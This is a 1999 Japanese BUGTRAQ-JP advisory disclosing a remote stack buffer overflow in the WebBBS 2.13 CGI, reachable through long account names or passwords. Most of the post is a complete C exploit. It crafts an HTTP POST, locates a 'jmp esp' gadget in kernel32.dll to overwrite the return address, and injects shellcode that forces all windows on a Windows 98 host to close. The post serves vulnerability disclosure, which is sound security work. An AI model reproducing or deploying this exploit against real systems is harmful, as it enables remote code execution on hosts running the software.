Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <382AE71F1B8.AE50SHADOWPENGUIN@fox.nightland.net> Date: Fri, 12 Nov 1999 00:56:15 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: webbbs 2.13 cgi remote overflow X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです。 窓の杜等でフリーウエアとして公開されておられるWebBBS Ver2.13にオーバーフ ローによる、セキュリティホールがあるようです。 1) 概要 BBSの初期認証において、長いアカウント名、およびパスワードを受け取った場合 バッファオーバーフローが発生します。このバッファオーバーフローはスタック 上のローカルバッファを上書きし、RETアドレスの書き換え、およびEIPの制御が 可能となっており、 アカウント名、およびパスワード中に埋め込まれた任意のコー ドを実行させることができます。 2) 危険性 リモートから、悪意のあるアカウント名、およびパスワードを送信し、オーバー フローを引き起こすことにより、webbbsの動作しているホスト上に対し、ウイル ス、トロイの木馬の感染、侵入、システム破壊等の重大な被害を及ぼすことが可 能となる可能性があります。また、UNIX用に関しては、リモートからnobody権限 での任意のコマンドの実行および侵入を許す可能性があります。 3) 弱点のあるバージョン webbbs 2.13 for Windows95/98/NT webbbs 2.13 for Linux その他のバージョン、プラットフォームについては未検査です。 [参考コード] このexploitコードは攻撃コードを含むパスワードをwebbbsCGIに送信し、 Windows98上で動作しているwebbbsの制御を奪い、全てのWindowに対してWM_QUIT メッセージをsendするものです(全てのウインドウを強制的に閉じます)。なお、 このコードは Windows98 4.10.1998 (日本語版)にて攻撃可能を確認しています。 --- /*============================================================================= WebBBS Ver2.13 Exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #include #include #define HEAD1 \ "POST /scripts/webbbs.exe HTTP/1.1\r\n"\ "Accept: application/msword, application/vnd.ms-excel, image/gif, "\ "image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n"\ "Accept-Language: ja\r\n"\ "Content-Type: application/x-www-form-urlencoded\r\n"\ "Accept-Encoding: gzip, deflate\r\n"\ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\r\n"\ "Host: 192.168.0.100\r\n"\ "Content-Length: 106\r\n"\ "Connection: Keep-Alive\r\n\r\n"\ "uid=&upw=" #define HEAD2 "&JOB=TOP&\r\nsub=+%83%8D%83O%83C%83%93+\r\n" #define HTTP_PORT 80 #define MAXBUF 80 #define RETADR 48 #define JMPESP_1 0xff #define JMPESP_2 0xe4 #define NOP 0x90 #define KERNEL_NAME "kernel32.dll" unsigned char jmp_code[100]={ 0x8B,0xDC,0x33,0xC0,0xB0,0x23,0xC1,0xE0, 0x10,0x66,0xB8,0x97,0xD9,0x2B,0xD8,0xFF, 0xE3,0x00 }; unsigned char exp_code[100]={ 0x33,0xC0,0x50,0x50,0xB0,0x12,0x50,0x66, 0xB8,0xFF,0xFF,0x50,0xB8,0xb8,0x58,0xf5, 0xbf,0xff,0xd0,0x50,0x50,0xB8,0x2c,0x23, 0xf5,0xbf,0xff,0xd0,0x00 }; main(int argc,char *argv[]) { SOCKET sock; SOCKADDR_IN addr; WSADATA wsa; WORD wVersionRequested; unsigned int i,kp,ip; static unsigned char buf[MAXBUF],buf2[1000],buf3[1000],*q; struct hostent *hs; MEMORY_BASIC_INFORMATION meminfo; if (argc<2){ printf("usage: %s VictimHost\n",argv[0]); exit(1); } if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){ printf("Can not find %s\n",KERNEL_NAME); exit(1); } VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION)); ip=0; for (i=0;i>8 )&0xff)==0 || ((ip>>16)&0xff)==0 || ((ip>>24)&0xff)==0) continue; q=(unsigned char *)ip; if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break; } printf("RETADR : %x\n",ip); if (ip==0){ printf("Can not find codes which are used by exploit.\n"); exit(1); } wVersionRequested = MAKEWORD( 2, 0 ); if (WSAStartup(wVersionRequested , &wsa)!=0){ printf("Winsock Initialization failed.\n"); return -1; } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); return -1; } addr.sin_family = AF_INET; addr.sin_port = htons((u_short)HTTP_PORT); if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if ((hs=gethostbyname(argv[1]))==NULL){ printf("Can not resolve specified host.\n"); return -1; } addr.sin_family = hs->h_addrtype; memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length); } if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){ printf("Can not connect to specified host.\n"); return -1; } memset(buf,NOP,MAXBUF); buf[MAXBUF]=0; strncpy(buf,exp_code,strlen(exp_code)); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+RETADR+4,jmp_code,strlen(jmp_code)); send(sock,HEAD1,strlen(HEAD1),0); send(sock,buf,strlen(buf),0); send(sock,HEAD2,strlen(HEAD2),0); closesocket(sock); printf("Done.\n"); return FALSE; } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com